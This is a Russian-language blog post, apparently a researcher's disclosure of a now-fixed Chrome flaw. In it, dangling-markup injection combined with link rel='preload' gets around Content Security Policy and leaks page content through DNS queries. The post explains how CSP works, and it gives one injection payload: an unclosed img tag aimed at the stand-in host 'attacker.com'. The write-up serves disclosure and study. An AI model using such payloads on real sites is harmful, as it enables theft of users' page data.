В этой заметке мы поговорим об уязвимости, найденной мной некоторое время назад в браузере Chrome и позволяющей обходить политику безопасности контента (Content Security Policy; CSP). Помимо обхода CSP эта брешь позволяет реализовать информационную утечку у соединения по протоколу SSL/TLS. Об этой проблеме было сообщено пару лет назад и после исправления я решил стряхнуть пыль с этой статьи, внести кое-какие корректировки и поделиться с вами полезной информацией.
CSP представляет собой конфигурацию, передаваемую браузерам через протокол HTTP, и позволяет создавать белые списки источников «активного» контента (в частности скриптов) для защиты от межсайтового скриптинга. Политика безопасности устанавливает правила получения ресурсов и в целом любых HTTP-транзакций с хостом. Типичная конфигурация CSP выглядит так:
content-security-policy:
default-src* data: blob:;script-src*.facebook.com*.fbcdn.net*.facebook.net*.google-analytics.com*.virtualearth.net*.google.com127.0.0.1:* *.spotilocal.com:* 'unsafe-inline' 'unsafe-eval' fbstatic-a.akamaihd.netfbcdn-static-b-a.akamaihd.net*.atlassolutions.comblob: data: 'self' *.m-freeway.com;style-srcdata: blob: 'unsafe-inline' *;connect-src*.facebook.com*.fbcdn.net*.facebook.net*.spotilocal.com:* *.akamaihd.netwss://*.facebook.com:* https://fb.scanandcleanlocal.com:* *.atlassolutions.comattachment.fbsbx.comws://localhost:* blob: *.cdninstagram.com'self' chrome-extension://boadgeojelhgndaghljhdicfkmllpafdchrome-extension://dliochdbjfkdbacpmhlcpmleaejidimm;
В заголовке выше перечислены типы информации и атрибуты, защищаемые от получения из неавторизованных источников. Когда браузер пытается запросить активные скрипты, указанные в документе, происходит проверка на предмет соответствия c правилами веб-сервера.
После ознакомления с механикой CSP рассмотрим случаи, когда CSP не работает, и исследования этой технологии от специалистов в области безопасности. Сотрудник Google, известный под именем lcamptuf, написал о реализации разных пакостей с объектной моделью документа (DOM) и содержимом страницы даже в случае, когда настроена политика безопасности контента. По сути, была сделана попытка ответить на следующий вопрос:
Как будут выглядеть атаки, если политика будет настроена должным образом?
Среди представленных техник была идея «инъекции висячего контента». Прекрасная концепция против браузеров с идеальными настройками безопасности. В подобного рода атаках, связанных с инъекциями висячего контента, мы внедряем некорректный HTML-тег и ожидаем, что браузер дополнит конструкцию, интерпретируя содержимое, находящееся вокруг тега. По сути, внедрение подобного рода принуждает браузер использовать содержимое страницы как часть тега: разметки, картинок, text area и так далее.
На первый взгляд подобные манипуляции, связанные с нарушением функциональности веб-страницы, кажутся безобидными, однако, как выясняется, могут возникнуть серьезные проблемы безопасности.
Рассмотрим конкретный пример. На рисунке ниже показана страница для реализации атаки с использованием некорректных тегов:
Рисунок 1: Пример инъекции некорректного тега
В страницу, показанную выше, добавлен тег <img> с полезной нагрузкой:
https://[domain]/[path]?query=<imgsrc="https://attacker.com
Поскольку тег <img> испорчен, Chrome попытается исправить ситуацию посредством смежной страницы, являющейся частью URL и имени домена в теге <img>. В итоге Chrome попытается воспользоваться именем домена. Единственное, что портит всю малину – CSP, и нам нужна ссылка для преобразования DNS-имени внутри содержимого страницы.
Найденная мной уязвимость связана с поведением тега <link>, а конкретно с конструкцией <link rel=’preload’ href=’[URL]’ />. Эти теги используются в «механизмах связывания суб-ресурсов» и позволяют связывать документы вместе для совместного использования JavaScript, CSS, шрифтов и так далее. Кроме того, браузер будет предварительно преобразовать имена доменов перед загрузкой страницы. Для этой цели и нужны теги ссылок с атрибутом preload.
На рисунке ниже показан DNS-трафик, генерируемый испорченным тегом с предзагрузкой ссылок, внедренным в защищенную страницу. Вы можете заметить некоторые ключевые HTML-слова в DNS-именах:
Рисунок 2: Трафик, генерируемый во время использования тегов с предзагрузкой ссылок
На рисунке выше видно, как информация, ранее зашифрованная в TLS-потоке, теперь передается в незащищенном виде через DNS-запросы. Вероятно, не очень полезная фитча J.
На сегодня все. Успешного хакинга!